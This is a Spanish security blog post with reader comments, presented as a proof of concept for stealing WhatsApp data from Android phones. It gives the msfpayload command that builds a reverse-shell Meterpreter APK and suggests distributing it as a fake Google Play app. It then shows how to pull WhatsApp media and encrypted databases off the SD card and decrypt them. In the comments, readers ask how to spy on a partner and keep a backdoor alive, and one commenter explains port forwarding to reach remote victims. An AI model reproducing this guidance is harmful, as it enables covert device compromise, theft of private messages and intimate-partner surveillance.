lunes, abril 21, 2014

Robar WhatsApp de Android con Meterpreter de Metasploit

Facebook ha comprado WhatsApp y con ello todo lo bueno y malo que tiene esta aplicación. Lo bueno es algo sencillo de entender y es que tener más de 500 millones de usuarios es algo importante para la firma, pero también se lleva todos los problemas de seguridad que desde hace años van arrastrando a golpe de parche, aunque siguen apareciendo nuevos fallos en el cifrado y fugas de información que dejan ver tú número de teléfono, la ubicación donde estás o la dirección IP desde la que estás conectado. Además, hace algunas semanas se ha golpeado con mucha fuerza la aplicación de mensajería instantánea.

Sabemos que existen muchos métodos para espiar WhatsApp, aunque semanas atrás salió a la luz el método con el que WhatsApp para Android cifra y descifra las bases de datos de la aplicación. Conseguir estas bases de datos en Android es sencillo, ya que se almacenan en la SDCard del dispositivo, pero también pueden sacarse de un dispositivo iPhone si se tiene acceso local o al backup, aunque el proceso podría complicarse un poco, en función de si hay jailbreak o no, si hay SSH por defecto, y del tipo de dispositivo que sea y la versión del sistema iOS. Siempre podríamos intentar encontrar una vía realizando un hacking a dispositivos iPhone completo.

Alejandro Ramos (@aramosf) liberó un script en Python dónde teniendo la base de datos cifrada y el usuario de Gmail utilizado en el dispositivo Android se puede obtener las conversaciones descifradas y listas para su lectura. Además, el servicio Recover Messages ya dispone de esta funcionalidad para la recuperación de mensajes recuperados de una base de datos cifrada.

Figura 1: Script de descifrado de bases de datos Crypt5 de WhatsApp

¿Cómo funciona el cifrado y el descifrado? El algoritmo para cifrar es aes-cbc-192, la información de la base de datos es cifrada utilizando una clave y el nombre de la cuenta de correo electrónico del dispositivo. El modo cbc, cipher block chaining, aplica a cada bloque de texto plano un XOR con el bloque anteriormente cifrado, para su posterior cifrado. De este modo cada bloque de texto cifrado va a depender de todo lo que está en plano procesado hasta el momento. El vector de inicialización hace que cada mensaje sea único.

PoC: El llamado Wonderland

En algunos ámbitos Meterpreter, una famosa shellcode utilizada por muchos pentesters en el maravilloso framework de explotación Metasploit, es conocido como Wonderland, ya que proporciona al usuario todas las características en la toma de control de un dispositivo remoto, y lo que haremos será jugar con él y ver qué cosas, entre otras muchas, podemos hacer. Algunas de las cosas interesantes que podemos hacer con esta shellcode en un dispositivo móvil es robar la base de datos de WhatsApp, y después descifrarla.

Lo primero es conseguir ejecutar Meterpreter en un dispositivo Android. Esto puede ser tarea no sencilla, pero con un poco de imaginación se nos pueden ocurrir muchas vías. ¿Por qué no entrar por la puerta principal? Sí, podemos intentar entrar por Google Play, ¿En serio?

En esta vida todo es probar, y como ya ha explicado Sergio de los Santos hay un ecosistema de Malware y Fake Apps en Google Play lo suficientemente grande como para que se note mucho que hemos metido un Meterpreter. Además, hemos visto que hay peleas por hacer fakes app de WhatsApp, que hay quién se ha dado de alta como Apple Inc, los que se dedican a hacer estafas de SMS Premium como la de la Linterna Molona y cibercriminales que roban el WhatsApp directamente con supuestos juegos. ¡Manos a la obra!

Figura 2: Fakes App de un supuesto Apple Inc en Google Play

La primera vía sería utilizar la herramienta msfpayload para generar un APK instalable en los dispositivos Android, pero este APK no podrá ser subido a Google Play por diversos motivos, entre ellos que no está firmado por el desarrollador. Para la toma de contacto es totalmente válido, por lo que os dejo aquí como hacer un APK para Android que ejecute una Meterpreter inversa:
msfpayload android/meterpreter/reverse_tcp LHOST=[dirección IP a la que se conecta la shellcode] LPORT=[puerto a la que se conecta] R > nombre_fichero.apk
Figura 2: Creando una APK con un Meterpreter

La otra vía sería desarrollar una APK que pida órdenes, por ejemplo, mediante un XML y que al recibir una instrucción maliciosa en ese XML se conecte a un servidor dónde le esperaremos para otorgarle un JAR, dónde empaquetado se encuentre la shellcode de Meterpreter. Este JAR se puede ejecutar dentro del provider de la app que la víctima descarga del Google Play. ¿En serio? Sigamos adelante…

Ahora una vez que tenemos de alguna de las dos formas preparadas la APK maliciosa, preparamos el servidor que recibirá la conexión y que debe devolver el JAR con la shellcode. Para ello utilizamos la herramienta del framework de Metasploit denominada msfconsole, tal y como se puede ver en la imagen.

Figura 4: Usando msfconsole de Metasploit desde un Kali Linux

Tras ejecutar la instrucción exploit en este módulo el servicio queda habilitado por lo que al recibir una conexión externa le devolveremos el JAR que completará la segunda stage de la ejecución de la shell Meterpreter.

En la siguiente imagen podéis visualizar como el servicio queda a la espera, y cuando recibe la conexión se envía el fichero y después se toma el control del dispositivo móvil. Recordad que lo interesante es que la APK sea distribuida a través de un market, y si es oficial el desastre sería mayor.

Figura 5: Stage 2. Se devuelve el JAR con la shell Meterpreter

Ahora podemos realizar diversas acciones con esta shellcode Meterpreter dentro del dispositivo. Sin ser root se puede, siempre y cuando la APK que ha conseguido colar la shellcode tenga permisos para ello, realizar fotografías y obtenerlas en remoto, capturar sonido con el micrófono, incluso abrir un streaming entre el dispositivo y el atacante para ver en tiempo, casi, real lo que está sucediendo.

Si abrimos una shell del sistema y navegamos por la estructura de carpetas, solo accederemos a sitios dónde la app pueda, ya que no somos root. La SDCard es uno de los puntos donde podemos aprovecharnos de no ser root y encontrar información muy interesante.

Figura 6: Ejecutando comandos en el sistema

Al ejecutar un ls podemos encontrar la carpeta de WhatsApp y todo lo que hay dentro de la SDCard, es como un pequeño gran bazar chino dónde podemos coger lo que queramos a un coste cero. Al meternos dentro de la carpeta de WhatsApp, ahora mismo estamos en la ruta /sdcard/WhatsApp podemos encontrar los siguientes elementos: backups, databases, media y profile pictures.

Todas las imágenes, vídeos y audios que la víctima haya intercambiado, enviados por él o recibidos, están accesibles y sin cifrar, por lo que ya nuestra shellcode podría descargarlo a nuestro equipo.

Figura 7: El contenido transmitido por WhatsApp

En la imagen se ve /storage/sdcard0/… por el tema de los enlaces, pero en este ejemplo nos da igual referirnos como /sdcard. Dicho esto, ¿Cómo descargamos una imagen directamente? Meterpreter proporciona un comando para realizar descargas de archivos, este comando es download, y su sintaxis es download [origen] [destino].

En la siguiente imagen se puede visualizar un ejemplo de cómo llevar a cabo esta instrucción y poder obtener todas las imágenes, vídeos y audios que se encuentran en la SDCard.

Figura 8: Descargando las imágenes enviadas por WhatsApp
Para llevar a cabo la operativa con las bases de datos con los mensajes de WhatsApp es exactamente igual, solo que la instrucción en este caso sería download /sdcard/WhatsApp/Databases/[nombre base de datos][destino máquina local].

Figura 9: Las bases de datos de WhatsApp en Android cifradas con crypt5

Ahora nos queda, una vez que hemos descargado la base de datos, utilizar el script que comentábamos al principio para descifrar la base de datos crypt5. El script lo debemos ejecutar como viene en la imagen, y solo necesitamos la cuenta de correo que está dada de alta en el dispositivo.

Figura 10: Descifrando la base de datos crypt5 de WhatsApp

Ahora que tenemos la base de datos descifrada podemos utilizar aplicaciones que abran formatos SQLite3, por ejemplo el add-on de Mozilla Firefox denominado SQLite Manager si queremos hacerlo rápido. La segunda columna nos da el teléfono con el que se interactúo en el mensaje, y en la columna de data va el mensaje que se envió. Hay más columnas interesantes, ya que no todo son mensajes de texto, en otras se especifican si se envió datos como imágenes, y el recurso en el que se encuentra, audios, vídeos, etcétera.

Figura 11: La base de datos SQLite de WhatsApp vista en SQLite Manager

Además, una vez que tienes los mensajes, el siguiente paso sería recuperar los mensajes que hayan sido eliminados del WhatsApp. Hay que tener en cuenta que no solo se recuperarán los mensajes de texto sino que también podrán recuperarse las miniaturas de las imágenes transmitidas, incluidas las de los vídeos y los mensajes de geo-localización, tal y como se explica en el artículo de Recuperar mensajes de WhatsApp borrados.

Autor: Pablo González 
Twitter: @PabloGonzalezPe

19 comentarios:

Anónimo dijo...

Gracias por la Info Chema¡
Salu2¡

Anónimo dijo...

El autor es pablo. Por cierto, muchas gracias por compartirlo, más claro agua ;-)

Juan Felipe dijo...

Que bueno Pablo! Cuando descubriste el framework metasploit tuviste que ver un mundo paralelo :D
Un saludo

Anónimo dijo...

No me gusta metasploit algunos piensan que es dios y es solo un triste
framework que automatiza las cosas para los mas noobs

Anónimo dijo...

la verdad es que lo miras y dices...por eso me gusta tanto este mundo de la intrusion

Anónimo dijo...

Hola chema, tengo un problema al abrir el archivo decencriptado. El SQLite Manager cuando pongo Explorar & Buscar me tira un error (http://www.subeimagenes.com/img/dibujo-945766.JPG). Alguna solucion?

Pablo dijo...

@Anónimo parece que el fichero está corrupto. ¿Qué versión de Whatsapp has utilizado en la recreación de la Poc? Puedes realizar un cat del fichero de DB y comprobar que está descifrado, ya que tengo dudas de que se haya descifrado correctamente.

un saludo!

Anónimo dijo...

Lásto,a que sobre persistencia poco se pueda decir en Android... Genial el tutorial ;)

Anónimo dijo...

Si te doy el numero puedes enviarme la conversación del wapp??? jajajaj

Ubun3t dijo...

Un tutorial muy bien explicado!! Gran trabajo Pablo!

Anónimo dijo...

Muy bien explicado bune trabajo,pero falta una cosa; al hacerse a usuarios fuera de la red local, las sesion al tiempo se cirra o si elimina la apk se quita, como seria el comando para que se manteniese la backdoor abierta aunque se cirre la aplicacion o se elimine, el comando migrate no funciona, alguna sugerencia o modo de hacerlo?

Un saludo :)

Jose dijo...

Bueno mi pregunta es sencilla, digame este metodo solo se utiliza para "VER! informacion de tu celular "Propio" no de otros números "X"

Anónimo dijo...

Hola Pablo! Cómo puedo hacer para espiar whatsapp de mi pareja? Creo que me engaña y soy negada para la informática. Ayudame!! Necesito leer sus conversaciones

Anónimo dijo...

Hola Pablo! Cómo puedo hacer para espiar whatsapp de mi pareja? Creo que me engaña y soy negada para la informática. Ayudame!! Necesito leer sus conversaciones.


Alba.

Sergio dijo...

Hola, hoy estuve probando esto, pero al tratar de generar el apk con el meterpreter al parecer no se puede instalar en los dispositivos.

Anónimo dijo...

De verdad me interesa aprender todo esto de seguridad informática si alguien le interesara ayudarme a aprender un poco de esto les estaría agradecido.

Anónimo dijo...

Según veo, eso se hace en una red LAN, y si quiero hacerlo fuera de la red?
Gracias.

Unknown dijo...

Si no me equivoco, cuando creas la apk tenes que poner en LHOST tu ip pública y hacer un forwarding en loa puertos 80 y el que hallas puesto en LPORT (en el tutoríal el puerto 4444). Después en el handler pones a la escucha tu dirección ip interna de tu red y el mismo puerto que antes (4444) y debería conectarse (yo no probé este método todavía lo leí en otra página y no recuerdo cuál era sino pondría el link)

Unknown dijo...

Quiero saber más sobre descifrar mensajes

Entrada destacada

10 maneras de sacarle el jugo a tu cuenta de @MyPublicInbox si eres un Perfil Público

Cuando doy una charla a algún amigo, conocido, o a un grupo de personas que quieren conocer MyPublicInbox , siempre se acaban sorprendiendo ...

Entradas populares